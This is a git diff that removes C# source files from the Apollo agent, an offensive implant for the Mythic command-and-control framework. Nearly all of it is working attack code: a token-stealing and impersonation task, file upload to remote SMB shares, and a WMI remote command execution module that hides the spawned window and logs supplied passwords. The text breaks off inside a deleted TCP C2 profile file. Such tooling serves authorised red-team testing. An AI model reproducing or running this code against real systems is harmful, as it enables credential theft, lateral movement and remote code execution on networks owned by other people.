- public class steal_token : Tasking - { - private delegate bool OpenProcessToken( - IntPtr hProcessHandle, - TokenAccessLevels dwDesiredAccess, - out IntPtr hTokenHandle); - private delegate bool DuplicateTokenEx( - IntPtr hExistingToken, - TokenAccessLevels dwDesiredAccess, - IntPtr lpTokenAttributes, - TokenImpersonationLevel dwImpersonationLevel, - int dwTokenType, - out IntPtr phNewToken); - private delegate void CloseHandle(IntPtr hHandle); - - private OpenProcessToken _pOpenProcessToken; - private DuplicateTokenEx _pDuplicateTokenEx; - private CloseHandle _pCloseHandle; - - public steal_token(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _pOpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); - _pDuplicateTokenEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DuplicateTokenEx"); - _pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - } - - - public override void Start() - { - string errorMessage = ""; - MythicTaskResponse resp = new MythicTaskResponse { }; - IntPtr procHandle = IntPtr.Zero; - IntPtr hImpersonationToken = IntPtr.Zero; - IntPtr hProcessToken = IntPtr.Zero; - try - { - procHandle = System.Diagnostics.Process.GetProcessById((int) Convert.ToInt32(_data.Parameters)).Handle; - } - catch (Exception ex) - { - errorMessage = $"Failed to acquire process handle to {_data.Parameters}: {ex.Message}"; - } - - if (procHandle != IntPtr.Zero) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, "", new IMythicMessage[] - { - Artifact.ProcessOpen(int.Parse(_data.Parameters)) - })); - bool bRet = _pOpenProcessToken( - procHandle, - TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query, - out hProcessToken); - if (!bRet) - { - errorMessage = $"Failed to open process token: {Marshal.GetLastWin32Error()}"; - } - else - { - _agent.GetIdentityManager().SetPrimaryIdentity(hProcessToken); - bRet = _pDuplicateTokenEx( - hProcessToken, - TokenAccessLevels.MaximumAllowed, - IntPtr.Zero, - TokenImpersonationLevel.Impersonation, - 1, // TokenImpersonation - out hImpersonationToken); - if (!bRet) - { - errorMessage = $"Failed to duplicate token for impersonation: {Marshal.GetLastWin32Error()}"; - } - else - { - var old = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - var oldIntegrity = _agent.GetIdentityManager().GetIntegrityLevel(); - _agent.GetIdentityManager().SetImpersonationIdentity(hImpersonationToken); - var cur = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - var newIntegrity = _agent.GetIdentityManager().GetIntegrityLevel(); - var stringOutput = $"Old Claims (IntegrityLevel: {oldIntegrity}, Authenticated: {old.IsAuthenticated}, ImpersonationLevel: {old.ImpersonationLevel}, AuthType: "; - try - { - stringOutput += $"{old.AuthenticationType}):\n"; - } - catch - { - stringOutput += $"AccessDenied):\n"; - } - foreach (var item in old.Claims) - { - stringOutput += item.ToString() + "\n"; - } - stringOutput += $"\nNew Claims (IntegrityLevel: {newIntegrity}, Authenticated: {cur.IsAuthenticated}, ImpersonationLevel: {cur.ImpersonationLevel}, AuthType: "; - try - { - stringOutput += $"{cur.AuthenticationType}):\n"; - } - catch - { - stringOutput += $"AccessDenied):\n"; - } - foreach (var item in cur.Claims) - { - stringOutput += item.ToString() + "\n"; - } - var integrityMessage = newIntegrity != oldIntegrity ? $" ( {newIntegrity} )" : ""; - resp = CreateTaskResponse($"Successfully impersonated {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] { - new CallbackUpdate{ ImpersonationContext = $"{cur.Name}{integrityMessage}" , IntegrityLevel = ((int)newIntegrity) } - }); - } - } - } - - if (!string.IsNullOrEmpty(errorMessage)) - { - resp = CreateTaskResponse(errorMessage, true, "error"); - } - - if (hProcessToken != IntPtr.Zero) - { - _pCloseHandle(hProcessToken); - } - - if (hImpersonationToken != IntPtr.Zero) - { - _pCloseHandle(hImpersonationToken); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/unlink.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/unlink.cs deleted file mode 100644 index 7ab8c68b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/unlink.cs +++ /dev/null @@ -1,64 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define UNLINK -#endif - -#if UNLINK - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - - -namespace Tasks -{ - public class unlink : Tasking - { - [DataContract] - internal struct UnlinkParameters - { - [DataMember(Name = "link_info")] - public PeerInformation ConnectionInfo; - } - - public unlink(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - UnlinkParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - - if (_agent.GetPeerManager().Remove(parameters.ConnectionInfo.CallbackUUID)) - { - resp = CreateTaskResponse($"Unlinked {parameters.ConnectionInfo.Hostname}", true, "completed", new IMythicMessage[] - { - new EdgeNode() - { - Source = _agent.GetUUID(), - Destination = parameters.ConnectionInfo.CallbackUUID, - Direction = EdgeDirection.SourceToDestination, - Action = "remove", - C2Profile = parameters.ConnectionInfo.C2Profile.Name, - MetaData = "" - }, - }); - } - else - { - resp = CreateTaskResponse($"Failed to unlink {parameters.ConnectionInfo.Hostname}", true, "error"); - } - - // Your code here.. - // // CreateTaskResponse to create a new TaskResponse object - // // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs deleted file mode 100644 index 82c8f8e5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs +++ /dev/null @@ -1,193 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define UPLOAD -#endif - -#if UPLOAD - -using System; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.IO; -using ApolloInterop.Utils; -using System.Linq; - -namespace Tasks -{ - public class upload : Tasking - { - [DataContract] - internal struct UploadParameters - { -#pragma warning disable 0649 - [DataMember(Name = "remote_path")] - internal string RemotePath; - [DataMember(Name = "file")] - internal string FileID; - [DataMember(Name = "file_name")] - internal string FileName; - [DataMember(Name = "host")] - internal string HostName; -#pragma warning restore 0649 - } - - public upload(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - internal string ParsePath(UploadParameters p) - { - string uploadPath; - string host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - if (!string.IsNullOrEmpty(p.HostName) && p.HostName != host) - { - if (!string.IsNullOrEmpty(p.RemotePath)) - { - uploadPath = string.Format(@"\\{0}\{1}", p.HostName, p.RemotePath); - } - else - { - // Remote paths require a share name - throw new ArgumentException("SMB share name not specified."); - } - } - else - { - - string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); - if (cwd.StartsWith("\\\\")) - { - var hostPieces = cwd.Split('\\'); - if (hostPieces.Length > 2) - { - host = hostPieces[2]; - } - else - { - var resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } - if (!string.IsNullOrEmpty(p.RemotePath)) - { - if (Path.IsPathRooted(p.RemotePath)) - { - uploadPath = p.RemotePath; - } - else - { - uploadPath = Path.GetFullPath(p.RemotePath); - } - } - else - { - uploadPath = Directory.GetCurrentDirectory(); - } - - } - - string unresolvedFilePath; - var uploadPathInfo = new DirectoryInfo(uploadPath); - if (uploadPathInfo.Exists) - { - unresolvedFilePath = Path.Combine([uploadPathInfo.FullName, p.FileName]); - } - else if (uploadPathInfo.Parent is DirectoryInfo parentInfo && parentInfo.Exists) - { - unresolvedFilePath = uploadPathInfo.FullName; - } - else - { - throw new ArgumentException($"{uploadPathInfo.Parent.FullName} does not exist."); - } - - var parentPath = Path.GetDirectoryName(unresolvedFilePath); - var fileName = unresolvedFilePath.Split(Path.DirectorySeparatorChar).Last(); - - string resolvedParent; - if (PathUtils.TryGetExactPath(parentPath, out var resolved)) - { - resolvedParent = resolved; - } - else - { - resolvedParent = parentPath; - } - - return Path.Combine([resolvedParent, fileName]); - } - - - public override void Start() - { - MythicTaskResponse resp; - UploadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - // some additional upload logic - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - parameters.FileID, - out byte[] fileData)) - { - try - { - string path = ParsePath(parameters); - File.WriteAllBytes(path, fileData); - string host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - if (!string.IsNullOrEmpty(parameters.HostName)) - { - host = parameters.HostName; - } - else - { - string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); - if (cwd.StartsWith("\\\\")) - { - var hostPieces = cwd.Split('\\'); - if (hostPieces.Length > 2) - { - host = hostPieces[2]; - } - } - } - resp = CreateTaskResponse( - $"Uploaded {fileData.Length} bytes to {path} on {host}", - true, - "completed", - new IMythicMessage[] - { - new UploadMessage() - { - FileID = parameters.FileID, - FullPath = path, - Host = host, - }, - Artifact.FileWrite(path, fileData.Length) - }); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to upload file: {ex.Message}", true, "error"); - } - } - else - { - if (_cancellationToken.IsCancellationRequested) - { - resp = CreateTaskResponse($"Task killed.", true, "killed"); - } - else - { - resp = CreateTaskResponse("Failed to fetch file due to unknown reason.", true, "error"); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs deleted file mode 100644 index cf7be5b6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs +++ /dev/null @@ -1,44 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define WHOAMI -#endif - -#if WHOAMI - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class whoami : Tasking - { - public whoami(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - if (_agent.GetIdentityManager().GetCurrentLogonInformation(out var logonInfo)) - { - resp = CreateTaskResponse( - $"Local Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + - $"Impersonation Identity: {logonInfo.Domain}\\{logonInfo.Username}", true); - } - else - { - resp = CreateTaskResponse( - $"Local Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + - $"Impersonation Identity: {_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name}", true); - } - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs deleted file mode 100644 index 2525a933..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs +++ /dev/null @@ -1,451 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define WMIEXECUTE -#endif - -#if WMIEXECUTE - -using System; -using System.Management; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using System.Runtime.InteropServices; -using OleViewDotNet.Marshaling; -using OleViewDotNet.Interop; -using System.Security.Principal; -using System.Net; - -namespace OleViewDotNet.Interop -{ - [Flags] - public enum CLSCTX : uint - { - INPROC_SERVER = 0x01, - REMOTE_SERVER = 0x10, - ENABLE_CLOAKING = 0x100000 - } - - [Flags] - public enum EOLE_AUTHENTICATION_CAPABILITIES - { - STATIC_CLOAKING = 0x20, - DYNAMIC_CLOAKING = 0x40 - } - - [Flags] - public enum RPC_AUTHN_LEVEL - { - DEFAULT = 0, - CALL = 2, - PKT_PRIVACY = 6 - } - - [Flags] - public enum RPC_IMP_LEVEL - { - IMPERSONATE = 3 - } - - [Flags] - public enum RPC_C_QOS_CAPABILITIES - { - None = 0 - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - internal struct COAUTHINFO - { - public RpcAuthnService dwAuthnSvc; - public int dwAuthzSvc; - [MarshalAs(UnmanagedType.LPWStr)] - public string pwszServerPrincName; - public RPC_AUTHN_LEVEL dwAuthnLevel; - public RPC_IMP_LEVEL dwImpersonationLevel; - public IntPtr pAuthIdentityData; - public RPC_C_QOS_CAPABILITIES dwCapabilities; - } - - [StructLayout(LayoutKind.Sequential)] - public struct MULTI_QI : IDisposable - { - private IntPtr pIID; - public IntPtr pItf; - public int hr; - - void IDisposable.Dispose() - { - Marshal.FreeCoTaskMem(pIID); - if (pItf != IntPtr.Zero) - { - Marshal.Release(pItf); - pItf = IntPtr.Zero; - } - } - - public MULTI_QI(Guid iid) - { - pIID = Marshal.AllocCoTaskMem(16); - Marshal.Copy(iid.ToByteArray(), 0, pIID, 16); - pItf = IntPtr.Zero; - hr = 0; - } - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public sealed class COSERVERINFO - { - private readonly int dwReserved1; - [MarshalAs(UnmanagedType.LPWStr)] - public string pwszName; - public IntPtr pAuthInfo; - private readonly int dwReserved2; - } - - internal static class NativeMethods - { - [DllImport("ole32.dll")] - public static extern int CoCreateInstanceEx(in Guid rclsid, IntPtr punkOuter, CLSCTX dwClsCtx, IntPtr pServerInfo, int dwCount, [In, Out] MULTI_QI[] pResults); - } - -} - -namespace OleViewDotNet.Marshaling -{ - public enum RpcAuthnService : int - { - None = 0, - Default = -1, - GSS_Negotiate = 9, - } -} - -namespace Tasks -{ - public class wmiexecute : Tasking - { - // Argument marshaling taking from: - // https://learn.microsoft.com/en-us/dotnet/framework/interop/default-marshalling-for-objects - [ComImport] - [Guid("F309AD18-D86A-11d0-A075-00C04FB68820")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemLevel1Login - { - [return: MarshalAs(UnmanagedType.Interface)] - int EstablishPosition(/* ... */); - int RequestChallenge(/* ... */); - int WBEMLogin(/* ... */); - int NTLMLogin([In, MarshalAs(UnmanagedType.LPWStr)] string wszNetworkResource, [In, MarshalAs(UnmanagedType.LPWStr)] string wszPreferredLocale, [In] long lFlags, [In, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNamespace); - } - - [ComImport] - [Guid("9556dc99-828c-11cf-a37e-00aa003240c7")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemServices - { - [return: MarshalAs(UnmanagedType.Interface)] - int OpenNamespace(/* ... */); - int CancelAsyncCall(/* ... */); - int QueryObjectSink(/* ... */); - int GetObject([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppObject, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); - int GetObjectAsync(/* ... */); - int PutClass(/* ... */); - int PutClassAsync(/* ... */); - int DeleteClass(/* ... */); - int DeleteClassAsync(/* ... */); - int CreateClassEnum(/* ... */); - int CreateClassEnumAsync(/* ... */); - int PutInstance(/* ... */); - int PutInstanceAsync(/* ... */); - int DeleteInstance(/* ... */); - int DeleteInstanceAsync(/* ... */); - int CreateInstanceEnum(/* ... */); - int CreateInstanceEnumAsync(/* ... */); - int ExecQuery(/* ... */); - int ExecQueryAsync(/* ... */); - int ExecNotificationQuery(/* ... */); - int ExecNotificationQueryAsync(/* ... */); - int ExecMethod([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [MarshalAs(UnmanagedType.BStr)] string strMethodName, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pInParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); - int ExecMethodAsync(/* ... */); - } - - [ComImport] - [Guid("dc12a681-737f-11cf-884d-00aa004b2e24")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemClassObject - { - [return: MarshalAs(UnmanagedType.Interface)] - int GetQualifierSet(/* ... */); - int Get([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In, Out] ref Object pVal, [In, Out, Optional] ref int pType, [In, Out, Optional] ref int plFlavor); - int Put([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In] ref Object pVal, [In, Optional] int Type); - int Delete(/* ... */); - int GetNames(/* ... */); - int BeginEnumeration(/* ... */); - int Next(/* ... */); - int EndEnumeration(/* ... */); - int GetPropertyQualifierSet(/* ... */); - int Clone(/* ... */); - int GetObjectText(/* ... */); - int SpawnDerivedClass(/* ... */); - int SpawnInstance([In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNewInstance); - int CompareTo(/* ... */); - int GetPropertyOrigin(/* ... */); - int InheritsFrom(/* ... */); - int GetMethod([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppInSignature, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutSignature); - int PutMethod(/* ... */); - int DeleteMethod(/* ... */); - int BeginMethodEnumeration(/* ... */); - int NextMethod(/* ... */); - int EndMethodEnumeration(/* ... */); - int GetMethodQualifierSet(/* ... */); - int GetMethodOrigin(/* ... */); - } - - [DllImport("ole32.dll", CharSet = CharSet.Unicode)] - public static extern int CoSetProxyBlanket(IntPtr pProxy, RpcAuthnService dwAuthnSvc, RpcAuthnService dwAuthzSvc, IntPtr pServerPrincName, RPC_AUTHN_LEVEL dwAuthLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthInfo, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities); - - static bool SetProxyBlanket(IntPtr comObject) - { - return CoSetProxyBlanket(comObject, RpcAuthnService.Default, RpcAuthnService.Default, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.STATIC_CLOAKING) >= 0; - } - static bool SetProxyBlanket(object comObject, Type interfaceType) - { - return SetProxyBlanket(Marshal.GetComInterfaceForObject(comObject, interfaceType)); - } - - [DataContract] - internal struct WmiExecuteParameters - { - [DataMember(Name = "host")] - internal string? HostName; - [DataMember(Name = "username")] - internal string? Username; - [DataMember(Name = "password")] - internal string? Password; - [DataMember(Name = "domain")] - internal string? Domain; - [DataMember(Name = "command")] - internal string Command; - } - - public wmiexecute(IAgent agent, MythicTask data) : base(agent, data) - { - } - - public override void Start() - { - MythicTaskResponse resp = CreateTaskResponse("", true); - try - { - WmiExecuteParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string? HostName = parameters.HostName?.Trim(); - string? Username = parameters.Username?.Trim(); - string? Password = parameters.Password?.Trim(); - string? Domain = parameters.Domain?.Trim(); - string Command = parameters.Command.Trim(); - if (HostName != null && HostName != "" && (Password == null || Password == "")) - { - // https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9 - // Create an object on a remote host. - // For the CLSID_WbemLevel1Login object, this requires you to use Administrative credentials. - // CLSID_WbemLevel1Login does not allow you to immediately query IWbemLevel1Login so you - // must query for IUnknown first. - var CLSID_WbemLevel1Login = new Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820"); - try - { - - var typeInfo = Type.GetTypeFromCLSID(CLSID_WbemLevel1Login, HostName, true); - var wbemLevel1Login = (IWbemLevel1Login)Activator.CreateInstance(typeInfo); - object output = null; - var result = wbemLevel1Login.NTLMLogin("ROOT\\CIMV2", null, 0, null, ref output); - // Get the WMI object - var wbemServices = (IWbemServices)output; - result = wbemServices.GetObject("Win32_Process", 0, null, ref output, null); - var win32Process = (IWbemClassObject)output; - // Get the signature (e.g., the definition) of the input parameters. - result = win32Process.GetMethod("Create", 0, ref output, null); - var inSignature = (IWbemClassObject)output; - // Create an instance of the input parameters for use to set them to - // actual values. - inSignature.SpawnInstance(0, ref output); - var inParameters = (IWbemClassObject)output; - var input = (object)Command; - result = inParameters.Put("CommandLine", 0, ref input); - // Execute the Win32_Process:Create and show its output parameters. - result = wbemServices.ExecMethod("Win32_Process", "Create", 0, null, inParameters, ref output, null); - Object processID = null; - Object returnValue = null; - ((IWbemClassObject)output).Get("ProcessId", 0, ref processID); - ((IWbemClassObject)output).Get("ReturnValue", 0, ref returnValue); - if (returnValue.ToString() == "0") - { - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) successfully", true, "success"); - } - else - { - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) and executed with error code ({returnValue.ToString()})", true, "error"); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - }catch - { - var classContext = CLSCTX.REMOTE_SERVER | CLSCTX.ENABLE_CLOAKING; // ENABLE_CLOAKING makes object creation use our impersonation token - var authInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed - var authInfo = new COAUTHINFO() - { - dwAuthnSvc = RpcAuthnService.Default, - dwAuthzSvc = 0, - pwszServerPrincName = null, - dwAuthnLevel = RPC_AUTHN_LEVEL.PKT_PRIVACY, - dwImpersonationLevel = RPC_IMP_LEVEL.IMPERSONATE, - pAuthIdentityData = IntPtr.Zero, - dwCapabilities = RPC_C_QOS_CAPABILITIES.None - }; - Marshal.StructureToPtr(authInfo, authInfoPtr, false); - var serverInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed - var serverInfo = new COSERVERINFO() - { - pwszName = HostName, - pAuthInfo = authInfoPtr - }; - Marshal.StructureToPtr(serverInfo, serverInfoPtr, false); - var IID_IUnknown = new Guid("00000000-0000-0000-C000-000000000046"); // CLSID_WbemLevel1Login requires IUnknown to be the first interface queried - var multiQi = new MULTI_QI[1]; - multiQi[0] = new MULTI_QI(IID_IUnknown); - var coCreateResult = NativeMethods.CoCreateInstanceEx(CLSID_WbemLevel1Login, IntPtr.Zero, classContext, serverInfoPtr, 1, multiQi); - if (coCreateResult >= 0 && multiQi[0].hr == 0) - { - // We need to set the proxy blanket with either STATIC_CLOAKING or DYNAMIC_CLOAKING on - // every interface we acquire to instruct COM to use our current impersonation token - SetProxyBlanket(multiQi[0].pItf); - var wbemLevel1Login = (IWbemLevel1Login)Marshal.GetObjectForIUnknown(multiQi[0].pItf); - SetProxyBlanket(wbemLevel1Login, typeof(IWbemLevel1Login)); - // Connect to the required WMI namespace - object output = null; - var result = wbemLevel1Login.NTLMLogin("ROOT\\CIMV2", null, 0, null, ref output); - var wbemServices = (IWbemServices)output; - SetProxyBlanket(wbemServices, typeof(IWbemServices)); - // Get an instance of Win32_Process - result = wbemServices.GetObject("Win32_Process", 0, null, ref output, null); - var win32Process = (IWbemClassObject)output; - SetProxyBlanket(win32Process, typeof(IWbemClassObject)); - // Get the signature (e.g., the definition) of the input parameters. - result = win32Process.GetMethod("Create", 0, ref output, null); - var inSignature = (IWbemClassObject)output; - SetProxyBlanket(inSignature, typeof(IWbemClassObject)); - inSignature.SpawnInstance(0, ref output); - var inParameters = (IWbemClassObject)output; - SetProxyBlanket(inParameters, typeof(IWbemClassObject)); - // Get an instance of Win32_ProcessStartup and use it to set the ProcessStartupInformation - // input parameter. - result = wbemServices.GetObject("Win32_ProcessStartup", 0, null, ref output, null); - inSignature = (IWbemClassObject)output; - SetProxyBlanket(inSignature, typeof(IWbemClassObject)); - inSignature.SpawnInstance(0, ref output); - var win32ProcessStartupInstance = (IWbemClassObject)output; - SetProxyBlanket(win32ProcessStartupInstance, typeof(IWbemClassObject)); - var input = (object)5; // SW_HIDE - result = win32ProcessStartupInstance.Put("ShowWindow", 0, ref input); - input = 0x01000000; // CREATE_BREAKAWAY_FROM_JOB - result = win32ProcessStartupInstance.Put("CreateFlags", 0, ref input); - input = (object)win32ProcessStartupInstance; - result = inParameters.Put("ProcessStartupInformation", 0, ref input); - input = (object)Command; - result = inParameters.Put("CommandLine", 0, ref input); - //input = (object)cwd; - //result = inParameters.Put("CurrentDirectory", 0, ref input); - // Execute the Win32_Process:Create and show its output parameters. - result = wbemServices.ExecMethod("Win32_Process", "Create", 0, null, inParameters, ref output, null); - Object processID = null; - Object returnValue = null; - var outParameters = (IWbemClassObject)output; - SetProxyBlanket(outParameters, typeof(IWbemClassObject)); - outParameters.Get("ProcessId", 0, ref processID); - outParameters.Get("ReturnValue", 0, ref returnValue); - if (returnValue.ToString() == "0") - { - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) successfully", true, "success"); - } - else - { - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) and executed with error code ({returnValue.ToString()})", true, "error"); - } - Marshal.FreeCoTaskMem(authInfoPtr); - Marshal.FreeCoTaskMem(serverInfoPtr); - } - else - { - resp = CreateTaskResponse($"failed with error code: {coCreateResult.ToString("X")}", true, "error"); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - return; - } - //Original version using wmi v1 - ManagementScope scope = new ManagementScope(); - //executes for remote hosts - if (string.IsNullOrEmpty(HostName) is false) - { - //set wmi connection options - ConnectionOptions options = new ConnectionOptions - { - EnablePrivileges = true, - Authentication = AuthenticationLevel.PacketPrivacy, - Impersonation = ImpersonationLevel.Impersonate, - Username = string.IsNullOrEmpty(Username) ? null : Username, - Password = string.IsNullOrEmpty(Password) ? null : Password, - Authority = string.IsNullOrEmpty(Domain) ? null : $"NTLMDOMAIN:{Domain}" - }; - DebugHelp.DebugWriteLine($@"trying to connect to target at: \\{HostName}\root\cimv2"); - DebugHelp.DebugWriteLine($@"Username: {options.Username}"); - DebugHelp.DebugWriteLine($@"Password: {Password}"); - DebugHelp.DebugWriteLine($@"Domain: {options.Authority}"); - scope = new ManagementScope($@"\\{HostName}\root\cimv2", options); - scope.Connect(); - DebugHelp.DebugWriteLine("Connected to target machine"); - } - //otherwise we assume the execution is local - else - { - DebugHelp.DebugWriteLine($@"trying to execute locally"); - } - - //use system management object to execute command - ObjectGetOptions objectGetOptions = new ObjectGetOptions(); - ManagementPath managementPath = new ManagementPath("Win32_Process"); - ManagementClass processClass = new ManagementClass(scope, managementPath, objectGetOptions); - ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); - DebugHelp.DebugWriteLine($"Executing command: {Command}"); - inParams["CommandLine"] = Command; - - - // Invoke the "Create" method to create the process - ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null); - //get status code - uint returnCode = (uint)outParams["returnValue"]; - DebugHelp.DebugWriteLine($"Return code: {returnCode}"); - if (returnCode != 0) - { - resp = CreateTaskResponse($"Command failed with return code: {returnCode}", true, "error"); - } - else - { - resp = CreateTaskResponse("Command executed successfully", true); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - catch (Exception e) - { - resp = CreateTaskResponse(e.Message + "\n" + e.StackTrace, true, "error"); - DebugHelp.DebugWriteLine(e.Message); - DebugHelp.DebugWriteLine(e.StackTrace); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/TcpProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/TcpProfile/Properties/AssemblyInfo.cs deleted file mode 100644 index 71f06b3b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/TcpProfile/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TcpProfile")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TcpProfile")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("add40b1e-3c2e-4046-b574-fa0ed70fc64d")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.cs b/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.cs deleted file mode 100644 index f07eab67..00000000 --- a/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.cs +++ /dev/null @@ -1,403 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Interfaces; -using ApolloInterop.Classes; -using 